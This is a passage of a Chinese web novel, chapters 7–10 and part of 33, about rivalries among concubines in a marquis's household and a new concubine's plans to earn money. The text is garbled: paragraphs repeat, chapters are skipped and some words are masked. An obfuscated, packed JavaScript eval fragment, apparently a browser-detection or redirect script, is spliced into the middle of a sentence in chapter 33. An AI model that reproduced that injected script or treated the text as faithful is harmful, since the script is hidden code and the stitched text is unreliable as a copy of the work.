“姚姐姐这话说的,芷妹妹才进门,年纪还轻,正是该快活几年,一进门就子嗣子嗣的,别吓到她。” 陶丝绣笑盈盈地道,打理侯夫人的绣楼、绣庄是她的倚仗,她不争宠,也没那个争奇斗艳争宠的本钱,可是在绣艺上的持仗也养出了她几分骨气。 她也是个没孩子的,比起柏芷兮的将来可能会有,她将来应该都不会有了……她要是容着姚初蕊欺负柏芷兮,早晚也得欺负到她头上去, “奴婢虽没读过什么书,斗大的字也不认识几个,可还是识数儿的。姚姐姐生下这府中唯一的一个孙少爷,的确命好。” “可凡事最好的是一个‘一’字,不好的也可能就是一个‘一’字。姚姐姐一进门就是贵妾,跟咱们比当然是尊贵的,可是跟别人比呢?” 定安侯府里嫡出、庶出全算上如今四个爷们,一个姑娘。 姑娘的婚事至今没个着落,其他四个爷们里只除了五爷尚未成亲,其余都是有了妻妾的,却只有她这么一个贵妾生下了子嗣。 她姚初蕊出身良家,又是原配夫人姚氏娘家姐妹所出的嫡女,可家里到底是个破落户,不然也不会送她来做这四房的妾。 呵,世子姜奕德可是她的嫡亲表兄,平日里带她也算亲厚,她却连个世子妾都没捞上……这能算是名好吗? 娶了妻的这三个爷们,哪个的正妻不比她姚初蕊出身好、家世厚重、更受郎君敬重,可哪个都没剩下子嗣。 亏她还敢说自己命好,也不怕闪了舌头,让那些人都吃了心,把她们母子怎么着了。 陶丝绣敷衍地福了礼就走了,姚初蕊反应过来,追上去就要训斥她,她也不理,反而加快了脚步离去。 定安侯府占地不小,以至于整个西院儿都甚是宽敞,陶丝绣又是往下人们住的地方走,像是要从后角门出去,姚初蕊没追出多远就自己回来了。 姚初蕊气哼哼地回来,就见柏芷兮正单膝点地地半蹲着跟姜士明说话,她那双不动声色就能明亮灵动的美眸此刻正看着姜士明那双黯淡无光的眼睛,像是对方能看到似的。 她走过来的时候还听到柏芷兮含着笑对姜士明道:“……小少爷不知道自己生得有多好,比这个年纪的孩子都好,以后一定会更好的。” “看不到?小少爷早晚会看到的,就算看不到,也可以去触碰、去感受。嗯……小少爷身边一定有很多人服侍,小少爷可以问他们啊。” “同一样东西,每个人看到的、感受到的都不一样,小少爷可以让他们每个人都说一说,这样你知道的就会比我们这些只能用自己这双眼睛去看的人还要多,是不是很厉害?” 一向沉默还带着一些阴郁的姜士明此刻脸上竟然满是笑,连声音里都透着喜悦: “真的可以这样吗?听起来好厉害,这样我比别人看到的都多……” “呵,你这是戏子唱戏给瞎子看,想要假好心、扮良善也该换个人,他又看不到,你这不是白费功夫么。” 姚初蕊冷哼了一声,目光在柏芷兮和姜士明的脸上各剜了一眼,含沙射影地道, “几句话就被哄过去了,脑子也不知道是怎么长的。你父亲说得对,是该找个师傅教教你了。” 第7章 别欺负老实孩子 姜士明小脸上的笑几乎瞬间僵住了,他搭在柏芷兮掌心的手指未动却渐渐变得冰凉。 柏芷兮目光渐冷,斜睨了姚初蕊一眼又迅速别开,清冷而带着距离的声音响起:“姚姐姐这话说的,士明少爷只是暂时看不到,你还是她亲娘呢,一口一个‘无用’、‘瞎子’的,一点也不尊重。” 她站起身,走到姚初蕊身侧,压低了声音道,“姚姐姐逢人就说小少爷是能治好的,怎么又变了?就算你觉得孩子是你亲生的,伤了心也没有隔夜仇。” “好歹自己说过的话,别管别人是怎么想的,自己得先信了呀。这样对你、对小少爷都好,对不对?” “你……你敢这么对我说话?如意,给我掌她的嘴!” 姚初蕊眼看着就恼怒起来,她两颊因为气急而烧红,转身就喊侯在远处的侍女如意过来。 柏芷兮坏笑一下,一边快步小跑着离开,一边笑着大声道:“姚姐姐莫气,生气会显老,小少爷还等着你去请工匠给他雕木偶呢,妾就不陪姐姐了。” “小娘陪我玩儿,我要回一心居,我饿,现在就要回去。” 姜士明寻着声音的方向张着一双小胳膊朝着姚小娘扑了过去,直接抱住了她的腿。 柏芷兮边跑边回头看向他们母子,视线在姜士明的小脸上一点而过,尽管姜士明看不见,可她还是对他笑了一下。 而姜士明寻着脚步声传来的方向也咧开小嘴笑了一下,虽然只有五岁,可这样貌、风姿已有乃父之风……很像姜奕辰嘛。 柏芷兮小时候受过伤,有小半年看不到东西,那时候她年纪尚幼,父母已逝,不知是被叔父卖了还是被人拐了去,进了揽月苑。 她本是要被当作明眼瞎子养大供人取乐的,当中冷暖自是知晓。因此,她最是看不上这些人拿一个无辜孩童身体的残缺说事儿。 尤其是姚小娘能在这侯府里挺直腰杆儿,至少有一半儿是因为她是姜士明的生母,她总不该端起碗吃饭,放下碗就骂儿子吧。 姜士明也不是寻常人家的孩子,不用指着这双眼睛吃饭,当然不是说失明对他没有影响,只是从生计的角度来看。 他若真是这四房唯一的男嗣,只要养得好、教得好,他依旧会是这里的继人。 他只要心里亮堂,会用人,他坐不稳那位子,姜奕辰这个当爹的也一定帮他把什么都安排好了,让他坐得稳。 他若不是唯一的男嗣,但凡姜奕辰还有第二个儿子,即便是个通房生的,只要是个品行端正、全须全尾的,到时候记在柏兰姵或是哪个贵妾名下,做继人的就不是他了。 要说姜奕辰还有别的子嗣,就算不是柏兰姵生的,即便姜士明之后能够复明,大家都是庶子,贵妾生的也没高贵到哪儿去。 何况他前头失明,学业、武艺上都耽误了许多年,身子也不是很康健,跟后头的从小康健的弟弟们比,是难比得过的。 不过姜奕辰这样的人也犯不上亏待了一个先天有疾却天性良善的好孩子,定是会让他一生都衣食无忧的。 如此算来,他如何过活、前程如何其实跟他是不是眼盲没有太大的关系。 他的面前只有两条路,一条路是,他是四房独子,继承四房,另一条路他不是独子,四房继人另有其人,他衣食无忧地安度一生。 既然如此,姚初蕊又何必拿什么眼盲、无用来在一个可怜孩子的伤处撒盐呢? 其实姚初蕊的心态也好理解,姜士明是她唯一的孩儿和唯一的指望,她自是不可能不疼爱的。 可是偏偏姜士明天生眼盲,这件事难免被府里上上下下的拿去嚼舌头,姚初蕊心里也难免遗憾,这便落下嫌弃了。 人在平顺时想法也会平和、现实许多,在这种不甘中,偏偏别说四房了,就是整个侯府都没有第二个孙辈降生。 姚初蕊在不甘、遗憾和对柏兰姵的嫉恨之下,加上她本就是先侯夫人的娘家外甥女、世子姜奕德的表妹,那些个想法就坐大了,让她以为姜士明甚至能做这整个定安侯府的继人了。 她越是这样想就越是不甘,慢慢地就扭曲了性情,对着姜士明这唯一的儿子也失了耐心和平和。 姚初蕊的心态柏芷兮明白,姜士明也明白,只是姜士明没有说出来。 这是个眼盲心亮的孩子,见她尊重他、明白他的难处,就贴心地帮她解围了。 还有姚初蕊的贴身侍女如意也是明白的,不然也不会她都跑了好一会儿了都没有追过来打她。 柏芷兮一路小跑着,她初来乍到,府中的路还不熟,侍女没跟着,她连回自己小院儿的路都找不到。 她是瞧见先前陶丝绣从那条路跑了,姚初蕊露出嫌弃的神色没有追过去,她也就选了这条路。想来这条路是通往下人房的,再往外就出府去了,姚初蕊不敢追过去。 这会儿姚初蕊和如意果然都没有追过来,柏芷兮就渐渐放慢了脚步,她跑得气喘吁吁的,就这么折回去被人瞧见着实有些不雅,就想先靠在墙根儿上缓口气。 可是她的背还没来得及贴上后墙,就看到不远处的柳树根儿下有一人正对着她笑,手里还拿了一根柳条摇晃着玩儿。 “陶姑娘,你……不是出府去绣楼了吗?”柏芷兮愣住了,万万没想到陶丝绣竟然在这儿等她。 陶丝绣扔掉手中的柳条,笑着走过来,先扶着她顺着墙根儿慢慢地走了两趟,等到感觉到她的心跳平缓下来之后,才开口: “我今日不出府,外面有侯夫人身边的嬷嬷看着,我不用日日都去。刚刚就是想个由头撇开她罢了,省得她凭她是个会下蛋的,就讨嘴上便宜,连那几房的夫人都开罪了,再把我给连累了。” “她一开口,我就想着跑了,没想好怎么带你一起,或是要不要带你一起,就先溜为上了,你可别见怪。” 侯府规矩大,可是私下里关系亲近的人相处也是随意的,陶丝绣私下里开口没有奴婢长、奴婢短的,就说明她是有意跟柏芷兮亲近的。 第8章要被抱走就不生了? 不用想都知道,刚才陶丝绣定是偷偷地折了回去,把柏芷兮说的那些话听了个大半,想也能知道她也不满姚初蕊对姜士明的态度。 “这个时辰,下人们都在府里忙乎呢,这儿没人,我送你回去。” 陶丝绣笑着挽住柏芷兮的臂弯,为她指引着通往芷春居的路,这侯府也是大,光是一个西院儿,绕来绕去的就这么多路, “我早就想说她了,什么人啊,这侯府泼天的福气都到她肚子里了。能生个孩子,还是个儿子,就知足吧。她还计较那么多,也不怕折了自个儿的福气。” “成天里想东想西的,你才来,还不知道有些人在私底下怎么说他,那是说她恨不得生的是小世孙呢。” 这话才叫厉害,世子姜奕德与姚初蕊本就是姨表兄妹,这种关系放在谁家都是时常亲上加亲的。 往日里姚初蕊仗着自己的出身总是明里暗里地说自己就是做谁的正室也不为过,早就被这些个女人私下里嘲弄了个遍。 尤其是这几位爷的正室夫人,这几年肚子里都没生出个一儿半女的,就连屋里人也都一无所出,这些个人对姚初蕊都憋着气呢。 她们早就把姚初蕊的底细都打听了出来,说是先侯夫人姚氏娘家子孙繁多,姚初蕊的父亲只是一个名声不显的庶子,没功名,身家也不行,偏偏儿子女儿的生了一大堆。 原本这定安侯府里的婚娶跟姚初蕊这一房没什么干系,尤其等到姚初蕊及笄的时候,先侯夫人都去了多少年了,就是继室徐氏夫人所生的姜奕辰都长起来了,谁还能想起她来? 可谁知前头两个儿子成婚多年都没有子嗣,侯爷姜定武就想着给姜奕辰选一个好生养的妻子,这才想到了自个儿原配这个多子多孙的庶出兄长的房头上。 原本姚初蕊的确有机会做姜奕辰的正妻,可是姜奕辰毕竟是徐氏头一个儿子,在府里行四却是实打实的嫡次子,而姚初蕊这一房又实在微末,就连姚初蕊也比姜奕辰大了三岁。 那时候的姜奕辰也已经展现出了他打理庶产、买卖经营的能力,府外有许多事儿都需要他出面去办,徐氏便联合了姑太太一起先下手为强,给姜奕辰定下了柏家这门亲,以至于姚初蕊成了妾室。 姚初蕊娘家的底细一被打听出来,谁私底下对她不是多了几分轻屑,毕竟此姚非彼姚,她姚初蕊可沾不上姚家主支多少光,不过是仗着自己好生养罢了。 就这样,也不过是捞了个妾室当当,而且还没当上世子的妾室……也不知道有什么好牛的。 这些事儿在进府前柏家已经有人都告诉了柏芷兮,说的比陶丝绣说的还多,为的就是让她进门以后跟姚初蕊对着干,好替柏兰姵出了这些年积攒下来的恶气。 这气柏芷兮敬茶前小出了一口,刚刚为着姜士明又出了一口,至少今日着实不能再出了: “私底下我还是叫陶姑娘一声姐姐吧,陶姐姐,我刚来很多事儿都不清楚,刚才我是实在看不得小少爷委屈,才多说了几句。” “别的话我是实在不敢乱议论的,毕竟姚小娘说的也是事实,至少现在小少爷依然是这侯府里的独苗苗……我不是想说陶姐姐什么,只是揣测姚小娘的这些话,我不敢说。”说完,她露出汗颜的笑容。 陶丝绣多看了柏芷兮几眼,先是皱眉,后是笑了:“不知道的还以为你要端着小娘的身份教训我这个通房呢,没事儿,说就说了,你刚刚说她的时候不是挺厉害的么。” “那是因为刚刚说话的地方离夫人近,姚小娘要是想打我,我也来得及请夫人救我,陶姐姐没看我说完就跑了吗?”柏芷兮笑嘻嘻地道。 陶丝绣在这儿等着她,又如此示好,她不能说陶丝绣这么做就一定是假意,可是她也不得不防。 她为姜士明抱不平,也是看到陶丝绣说完就跑受到了启发,想着陶丝绣这人能支应起绣楼、绣庄这些个事儿,定是个有成算的,她才敢有样学样的。 要不然她断断不敢,尤其是背后议论姚初蕊想生小世孙什么的,她就更没那个胆子了,也没有必要。 “你怕什么?私下里说说而已,要不是有人放出消息来,暗中纵容着人说,我也想不出那些话。” 陶丝绣半点不矜持地咧嘴笑了笑,“是不是有点不适应?我就是一个通房,还是一个咱们爷好多年都不当女人看的通房,人前我当然得拘着点儿。” “人后,你就把我当你屋里的姑姑就是了,别看刺绣是个文静人干的活儿,可支应那两摊子事儿可一点都不文静,搬搬抬抬一点儿都不少。” “你就当我是地头上刚下来洗了脚的小媳妇,我看你投缘,以后咱们有个照应。你别怕姚小娘,她这个人就那样,其实也还好,不管你有没有针对她,她都还是会对付你的……” 陶丝绣小声嘀嘀咕咕地捡了几件姚初蕊比较出名的争宠事件说给她听,都是些姚初蕊如何撒娇做痴吸引姜奕辰,时常连姜士明还在都顾不得了的事。 柏芷兮只笑不答的听着,对要出入了解更多之余不由得感叹,姚初蕊想要上进的心不比揽月苑那些姑娘们弱,只是手段么,还是糙了些。 就见陶丝绣拍了拍她的肩膀,终于说了几句结语,“……你跟她不一样,我这人会看相,你是个有福气的,也是个能守得住福气的。” “你也不用怕,夫人既然主动接了你进府,就不会不让你生下孩子,你的孩子和你都会很好的。” 谁都知道柏芷兮实际上是柏家收来给柏兰姵补嫁的媵妾,就是柏兰姵后备的肚子,别说柏兰姵不会拦着她生孩子,还会大把的补药给她备着,让她早日受孕。 至于孩子生下来大概就要养到柏兰姵那儿去了,这件事没人会多想,她们这些毫无根基的妾室,风光上几年,能有立锥之地就不错了,谁还敢多奢望什么。 难不成还能为了不让自己孩子被正室夫人抱走,还就不生了不成? 第9章 不一样的角度 柏芷兮到底年纪还小,她的生母没的也早,其实她已经不大记得母女间相处的细节和感觉了。 她顺着陶丝绣的话想了又想,也还是不大能想象的出她有了孩子会是什么样,孩子不在她身边养着也轻易见不着会是怎样的感觉,再或是那时候柏兰姵和这府里的人会如何对她。 确切的说,也不是说完全想象不出来,她能想象的出,以她和姜奕辰的样貌,孩子无论是男是女都应该很好看。 孩子被柏兰姵抱去养了,除了逢年过节都不让她看,她也许会很伤心,抓心挠肝的那种伤心,没人的时候她应该会哭,哭得鼻涕眼泪把脸上的粉都和成了浆糊,糊了她一脸。 可没准儿她还会笑呢,毕竟孩子能记在良善的正室夫人名下,是多少妾室求之不得的呢。柏兰姵没有自己的孩子,地位高,嫁妆厚实还有娘家按月贴补的银子,孩子跟着她锦衣玉食的,没什么不好的。 虽然她也不能肯定柏兰姵能一直这么良善,可如果柏兰姵一直没有自己的孩子的话,至少应该会对孩子良善。 唉,那她还有什么好哭的呢? 她没有嫁妆,良妾的月例银子是三两,柏兰姵从体己银子里给她添了一些,一个月五两,在这府里行走,没钱寸步难行,少不得是要打点的,她还爱吃好吃的东西,喜欢研究新菜。 一个月下来也不知道能不能剩下二两养孩子,光靠公中那些供给的吃食定是不够的,小孩子的嚼用又精细,身上穿的衣裳料子和做工也都要细…… 她不够银子贴补,这孩子天天吃不饱,还要被府里其他孩子笑他亲娘穷、上不了台面,一回屋里就哇哇大哭,大半夜了说不定还要跟她吵嘴,她这人没耐心,娘俩天天干嘴仗,小崽子还得哇哇哭…… 想到她被自己生的小崽子气得吱哇乱叫,躲在床角捂着耳朵、抹着眼泪生闷气…… 这样的画面太“美”,“美”到她实在不觉得靠她自己养孩子能有多美妙了,要是让她选,还是让柏兰姵养吧。 “芷妹妹,你也不用太伤心,在咱们这样的人家,妾室把孩子给主母养育是再正常不过的事,不用太伤心。” “以前在侯夫人身边的时候,有一回家里有事把族谱给请回来了,我偷着看过一眼,庶出子女的后面也是会写上生母的姓氏的。” “将来你孩儿的名讳后面,会写上‘生母’良妾柏氏,是不是也不错?夫人在族谱上也是柏氏,你们是一个姓,也是一样的……” 陶丝绣见柏芷兮好一会儿没说话,以为她是因为将来不能养育自己生下的孩儿伤了心,就开始劝她。 陶丝绣不是在挖苦柏芷兮,她是真心实意地在劝她。作为一个通透的人,难得遇上一个年纪小些、资质通透的后辈,忍不住就像多提点几句,免得对方日后受苦。 柏芷兮初见陶丝绣时就觉得这人身上有一种特殊的味道,那是一种她所受教养中后宅女子没有的感觉,那是一种走出去过就不局限于内宅的的感觉。 柏芷兮的亲生父母还在世时经营着一间颇有名气的食肆,那时候的她还年幼,成日里拿张油纸抓一把蜜饯就在食肆里楼上楼下地到处跑着玩儿。 食肆里人声鼎沸,到处都很热闹,因着来的大多都是熟客,见着她都爱打趣儿几句,让她拿桌上的果子,有时候还会给她一个红封。 后来她去了揽月苑,里面虽然也很热闹,但那些丝竹管弦之音和说话声、笑声、哭声……都好像被条条框框规定好了似的,仿佛一切都被拘在了条条框框里。 也就是在那个时候,她才知道从前在食肆里感受到的那一切叫做烟火气。 她很喜欢烟火气,可是从那以后她就再没感受过这种东西。 今日她一见到陶丝绣就有了好感,就是因为陶丝绣是她近几年见过的女子中为数不多的几个身上有烟火气的了,至于陶丝绣为什么对她一见如故,她就不知道了。 不管她们将来还会不会像眼前这般和睦、健谈,此刻的她们是再和乐、温暖不过的。 可是面对陶丝绣安慰她的这些话,她还是露出了牙疼般的表情:“可是……我不姓柏,我姓方,要是姜家的族谱上把我记作柏氏,这不是在提醒我是柏家收来的媵妾、义女么?” 她发出一声长长地叹息,“能上族谱的时候,我要么就已经不在了,要么已经老得牙齿都要掉光了,却连自己的姓氏都找不回来,也未必就是一件值得高兴的事儿。” “至于孩子,要是我有的话,我是不介意给夫人养的。好吃好喝地养着,琴棋书画地教着,将来还给他们出聘资或者嫁妆,这些都得夫人忙乎。” “我呢,针线不好,想来他们看不上我手里出的活儿,那就闲下来的时候给他们做点吃食就好。大事儿不用我劳心,小事儿用得上我的时候再去支应一下就行,我觉得挺好的。” “再说了,现在孩子在哪儿都不知道呢,万一我也没有呢?现在就开始发愁,每天想着将来孩子给谁养,跟自己亲不亲……还不得愁得头发一把一把地掉,吃不下饭,饿得面黄肌瘦,这样的话,爷不喜欢了,更没孩子了。” 陶丝绣听完,愣了一会儿,然后放开扶着柏芷兮的手,扶着墙笑出了声: “你这人还真有意思,别人想到这些愁得不行,隔三差五地就得到夫人那儿试探去。你倒是好,反倒把这些当作好事儿了?不错,有意思。” 柏芷兮跟着她笑了笑,很听天由命地道:“本来就是,我娘总共就生了我一个,也看不出我有多好的生养。可柏家的大管家卡了我就说是高人说的,一看就好生养。” “那要是我生不出来,他们还能去吧那两位高人抓回来打一顿、让他们赔银子么。都是没影的事儿,有什么好担心的。” 第10章还是得有银子 柏芷兮很想得开地道:“得之我幸,失之我命,我当然愿意为咱们夫人出力,可这到底跟别的事儿不一样。” “要是有了,自然会珍惜他,要是一直没有,我倒是要想想该怎么过了。” 这也是柏芷兮唯一拿不准的地方,整个侯府最小的一代只有姜士明一个孩子,其余各房的主母和妾室连一个女儿都没生下来。 这种情况下,柏芷兮都怀疑是不是到了姜奕德、姜奕辰这一代,侯府的男丁得了某种怪病,导致大家都生不出来。 而姜士明只是一个意外,而且还天生眼盲,不能说他一点儿没被影响到。 柏芷兮想想侯府里各房的子嗣情况,觉得自己除非是那种特别幸运的人,某则说不定也生不出来。 到时候她要怎么办呢?说到底她就是柏家买来给柏兰姵当肚子使唤的,要是连这个功用都没了,就怕她得被赶出去。 她这个年纪,没有家世,徒有美貌在身的妇人,即便嫁过人甚至生养过,到了外面也依然容易被人觊觎,在徐娘半老的年纪到来之前,她还是待在侯府比较安全。 陶丝绣听了之后一个劲儿地点头,末了才道:“后手是要有的,你啊也别把夫人想得太好。我虽然不得宠,可我看得出来,夫人对你矛盾着呢。” “她是既盼着你得宠,分了姚小娘的宠,还能辖制住爷,更能有几个从小养在膝下的孩子,将来好承欢膝下。” “她又盼着你不得宠,那是因为她心里还是在乎爷的,担心你来了,分了她的宠,甚至能借着孩子,插手到屋里去了。” 陶丝绣用指尖轻戳柏芷兮的额头,“你要是没孩子,也别怕,定安侯府是良善之家,不会轻易出妾的。” “可是没了孩子,手上又没点儿东西,在府里的处境恐怕不会太好。要我说,咱们女子,除了生儿育女还得别的事儿做才是。” “像我,这辈子恐怕都没机会生养拿了,可是我有侯夫人手里的绣楼、绣庄,这就是我的底气。将来无论发生什么,闹得太不像话了,他们都得被追责。” 陶丝绣一个环节一个环节地分析过去,“总之还是视情况而定,只是不管是不是留在家里相夫教子,还是得干点儿什么的。” 过了一会儿芷春居就到了,陶丝绣又恢复了之前在人前的样子,她没进去,说是改天再来拜访。 柏芷兮没强留她,自己推开大门进去了。 柏芷兮今日跟陶丝绣的一番话很有启发,别看当了妾室,算是府里的半个主子了,可她们这些个人没有娘家补贴上下打点,自身容貌身姿甚美却远不如极美,再没个生养,处境就很艰难了。 别觉得这府里的主子和半个主子们就都比那些个下人过得好了,府上年景不好的时候,或是谁明显被主子们厌弃了,又没银子打点,那日子过得恐怕还不如这些个下人。” 要不怎么有宫里的皇帝被几个宫人、太监给勒死这码子事儿呢? 手头还是得有银子!柏芷兮回去之后就先在自己的芷春居里转悠了一圈儿,先看看自己能做什么。 侍女秋寒回正院回禀她的情况去了,之后还要去库房给她领东西,这屋里的柜子、桌子、床都不够,有些倒是原本就有的,但也要换了更新一些的去。 此时只有二等侍女冬暖在屋里做女红,柏芷兮匆忙喊了冬暖过来:“冬暖,你来看看,这边的竹子平时出笋的话能出多少?” 冬暖是柏芷兮从府外带回来的,最早的时候是柏芷兮从揽月苑的大门口捡回来的,在一番恳求之下掌事儿妈妈同意她留下来做了一个洗脚婢。 因为冬暖为人老实,不算太机灵,长相上实在不出挑,柏芷兮被柏家相中的时候也就求了掌事儿妈妈,以十五两的价格把冬暖买了下来,让冬暖成了柏家的侍女,之后跟着柏芷兮进了门儿。 柏芷兮当时求柏家,希望来侯府时能带着冬暖,基本没有受到任何阻碍。 柏家也是担心她这样的出身,初到侯府时连个说话和商议的人都没有,就把冬暖给她带来了。 而这芷春居也是柏芷兮自己挑的,只不过当时她还没有进府,因为在她进门前要提前布置,柏兰姵要向她示好,就让人拿了图纸回去给她选的。 她之所以选择芷春居有一个重要原因就是这院子里面有一片竹林,还有一小片能种菜蔬的花圃,这两样关键时候能救命,而且也太适合她了。 冬暖早上就在打理这片竹子,这会儿见她回来,笑着就迎了上来: “小娘,这儿的竹子生的不错,成竹可以拿来做东西,奴婢过些日子就给你扎一套桌椅出来。这嫩竹可以做竹筒饭,也可以把竹子晾干了装吃的。” “笋,只要季节合适,两三天就能出一茬子,咱们能炒着吃,也可以存一些下来腌着吃。你可真会选地儿,这地方不用种就有吃的。” “不过,小娘,咱都到侯府了,还要自己弄吃的?会不会被人笑?” 柏芷兮先跟着冬暖去那小片竹林里转了转,然后指挥着小厮抬了套桌椅到林边,待人都走了才道: “想笑就笑呗,我这可是为了咱们好。你看看,昨日进门儿之后送来的五两月例银子现在还剩下多少了?” 冬暖特意回屋拿了一趟,一数自己都愣住了:“……不到三两” “笋,只要季节合适,两三天就能出一茬子,咱们能炒着吃,也可以存一些下来腌着吃。你可真会选地儿,这地方不用种就有吃的。” “不过,小娘,咱都到侯府了,还要自己弄吃的?会不会被人笑?” 柏芷兮先跟着冬暖去那小片竹林里转了转,然后指挥着小厮抬了套桌椅到林边,待人都走了才道: “想笑就笑呗,我这可是为了咱们好。你看看,昨日进门儿之后送来的五两月例银子现在还剩下多少了?” 冬暖特意回屋拿了一趟,一数自己都愣住了:“……不到三两” 第33章 侯夫人徐氏 陶丝绣这人也很清醒,她这辈子大概都不会有子嗣了,她要是有了,就得彻底做回后宅妇人,这么一来,可就不再在她擅长的地方了,她又能比得过这当中的谁? 何况在旁人眼中,陶丝绣再是管着侯府外头的一摊子事儿,她在名分上也终归是姜奕辰的通房,可是从世人看待妾室的角度来说,她除了出身更清白一些,论容貌、性情和心思,她在这一点上远远不如柏芷兮。 至于姜奕辰这些日子没理会柏芷兮,这的确是个问题,可是姜奕辰都多少年没理陶丝绣了,对比起来,柏芷兮因为出身遭到的这点冷遇又算得了什么?柏芷兮还能翻盘,她呢,这是被扣得死死的了。 而且论起出身,揽月苑出来的是瘦马不假,可谁不知道那些个瘦马都是处子之身,何况柏芷兮只是一个妾室,又不是让她做夫人和贵妾的。 这出身不算太清白,可作为妾室来说倒也不算太不堪,过上几年,人们看出她这个人还不错,出身什么的也就只能纯拿去下酒、磕牙了…… 如此这般,柏芷兮还能由衷地承认她不如陶丝绣,这样的心胸,在后宅女眷中是尤为难得的。 要不换成姚初蕊试试,除了她自己,她能看上谁?陶丝绣在她面前就跟个管事儿大丫鬟似的,饶是这样,她都担心哪天陶丝绣得了姜奕辰的青眼了,弄出个一儿半女来呢。 冬暖想了想,觉着柏芷兮说的很有道理:“我们小娘就是讨人喜欢,那就别光想着赚银子了,还是早些把爷哄好了吧?” “要是爷去小娘那儿了,先不说爷会不会赏赐下来,夫人定是会赏的。他们这一赏,说不定比咱们瞎忙乎几个月都强呢。” 她们如今只能做一些辅菜的酱料,再偶尔有哪个食客想吃些特殊的糕点了,她打点过的食肆又做不了的,传了话进来,她看看能不能给做了送出去,并不能做更多的了。 要是柏兰姵和姜奕辰的赏赐能赏下来,就是一匹丝绢、一匹绸缎,那都可能比他们忙乎很久都来得多。 “好啊,你个小丫头,还敢说我的嘴了,看我怎么收拾你。” 柏芷兮追着冬暖就去了,两个人嘻嘻哈哈的,都在为将要在大厨房那边有一席之地而高兴。 冬暖让柏芷兮去争宠这话也就是半句玩笑话,她自己都没当真,她在揽月苑时虽然只是个粗使丫鬟,可也看了不少那些男子是如何的薄情寡义、翻脸不认人。 甚至正因为冬暖是个粗使丫鬟,她还看到过柏芷兮这样的人不曾看到的东西。 就好比那些来揽月苑挑人的男子,在萧大娘子没把姑娘们带上来之前,那些个男子像挑拣货物般对他们将要见到的姑娘一样品头论足,那些个污言秽语、轻佻之言,谁听了心里不觉得脏。 转过头来,对着萧大娘子,这些人又只会满嘴的称赞,仿佛他们对哪个姑娘真就情根深种似的,可他们把这些姑娘买回去之后呢? 有的是自己受用了,做了妾室了,有的还不是一开始就是为别人买的,或是之后转手送了人? 因此冬暖对男子真心而长久的宠爱是自来不报什么希望的,尤其姜奕辰还是位侯府的嫡出公子,他的选择太多了,哪儿有什么真心和天长地久? 她就是这么一说,只不过柏芷兮到底是姜奕辰的妾室,要是再不能让他到她们的小院儿里坐坐,就更要被这府里的人瞧不起了罢了。 第二日,没等柏芷兮自己过去,夏姑姑就派了人来请,可见昨晚在柏芷兮和冬暖走后,她定是研究了那食房和上面提到的器物了。 这些大户人家府里都有惯用的工匠,那些器物用的是巧思,倒也不是那等特别精巧难做的。这一晚的工夫,没能完全做出来一模一样的,倒也做出了临时能用的。 夏姑姑还是想着先把东西做出来,先给侯夫人把这口给填上,之后有了时间,工匠们也把那些个东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就像南方气候炎热的地方反而孩子比较多,一是物产、粮食更丰富,出产更多,天气又没有太冷的时候好养活,再就是这种地方但凡勤快一点儿都能找到活儿干,大家都有活路,压力要小很多。 这侯府也是,徐氏要是只以她的子女都有出路作为目标,的确不需要太过钻营,这个目标也不需要她自己费心费力地实现。 她的丈夫也不是铁石心肠的人,给原配的儿子吃肉,怎么也得让续弦生的儿女都喝上肉汤,对这些子女的前程是不会不管的。 就像姜奕辰得了这个市令的职位,是他自己有能耐,但如果他的父亲定安侯不许,他是万万得不到的。 徐氏对旁人和对她的子女一样,都是看重他们的进益的,姜奕辰能从将府中庶务打理得井井有条,让府里的产业又上了一层楼之后,又得到了市令一职,她是十分高兴的。 据说这几日姜奕辰都有被徐氏唤过去一同用饭,还将徐家的一些人脉介绍给他,助他在管理坊市时少些阻力,要是遇上那等宵小和无量商贾**,也未必就需要他出面得罪人了。 柏芷兮记住了这一点,心里想着之后该如何让徐氏注意到她的进益之处,好让她身上这挑叫做“出身”的担子能够轻一些。 想着想着就到了大厨房了,婵儿站在门口迎她,她浑身上下依旧写满了“不服”二字,毕竟柏芷兮还没把东西做出来,可到底没再说什么明显冒犯的话。 “芷小娘来了?来了就请进吧,昨晚姑姑和管事儿的忙了半宿,总算把东西都备下了。希望芷小娘不要让大家失望,侯夫人这几日胃口不济,可就等着这口吃食呢。” 柏芷兮笑了笑,仿佛没听出婵儿语气里还带着气:“我进府不久,因是妾室,时至今日都没能有幸见到侯夫人金面。这鱼皮饺虽然已经与你们夏姑姑说好了,由她来做,可我也是希望侯夫人能喜欢的。” “若是她不喜欢,那我们再换别的就是了。侯夫人出身富贵,又在这侯府中养尊处优多年,想是正席上的那些大菜大部分已经很难讨她欢喜了。” “不过我知道许多南北方的小菜、小食,咱们可以一起探讨、尝试,只为搏她一个喜欢,也算是我进了一番心意了。” 妾室不是正经儿媳妇,徐氏也不是那等规矩大的人,妾室里除了有了侯府唯一下一代子嗣的贵妾姚初蕊之外,其余的不到过年的时候,都不必到她面前讨嫌,想见她一面都难。 而且妾室对侯夫人严格来说谈不上什么孝心,有主仆间的服从也就够了,所以柏芷兮只敢说心意,却没敢提什么小心。 “行了,芷小娘和冬暖姑娘一起跟奴婢来吧。” 婵儿见柏芷兮小心翼翼地讨好,目光一闪便不再为难,可是嘴上依旧不饶人,“咱们侯夫人已经是南安都这些侯门里难得好性子的了,咱们定安侯府对门儿的那家,知道吧?” “听说过,长远侯府,是贺侯的府邸。”柏芷兮淡淡地道。 婵儿会替起长远侯府定是听说过什么的,要么就是有趣的,要么就是有可怕的,这时候说出来又是为了敲**。 柏芷兮猜是后者,不过她倒是真不知道这长远侯府有什么事儿能拿来敲打她的,可也难说,说不定她听说过,只是对不上号。 婵儿见她没听过,冬暖脸上也露出好奇之色,便有些洋洋得意地道:“长远侯府的侯夫人姓谢,这位谢夫人对他们府里的世子和公子们的妾室、通房都管束颇严。” “你肯定要问了,这要是人多了,这位谢夫人哪儿来的那么多闲工夫管这些人。其实倒也容易,因为法子都是一样的。” “据说,他们府里的妾室和通房若是没有子嗣还一个月都不能服侍夫主两次的,都要被抓到庭院里打板子。一个下午,一院子都是挨打的妾室和通房,到处都是哭声……” “唉,芷小娘能进在定安侯府,又遇上了侯夫人和四夫人这般宽厚的主母,实在是有福了 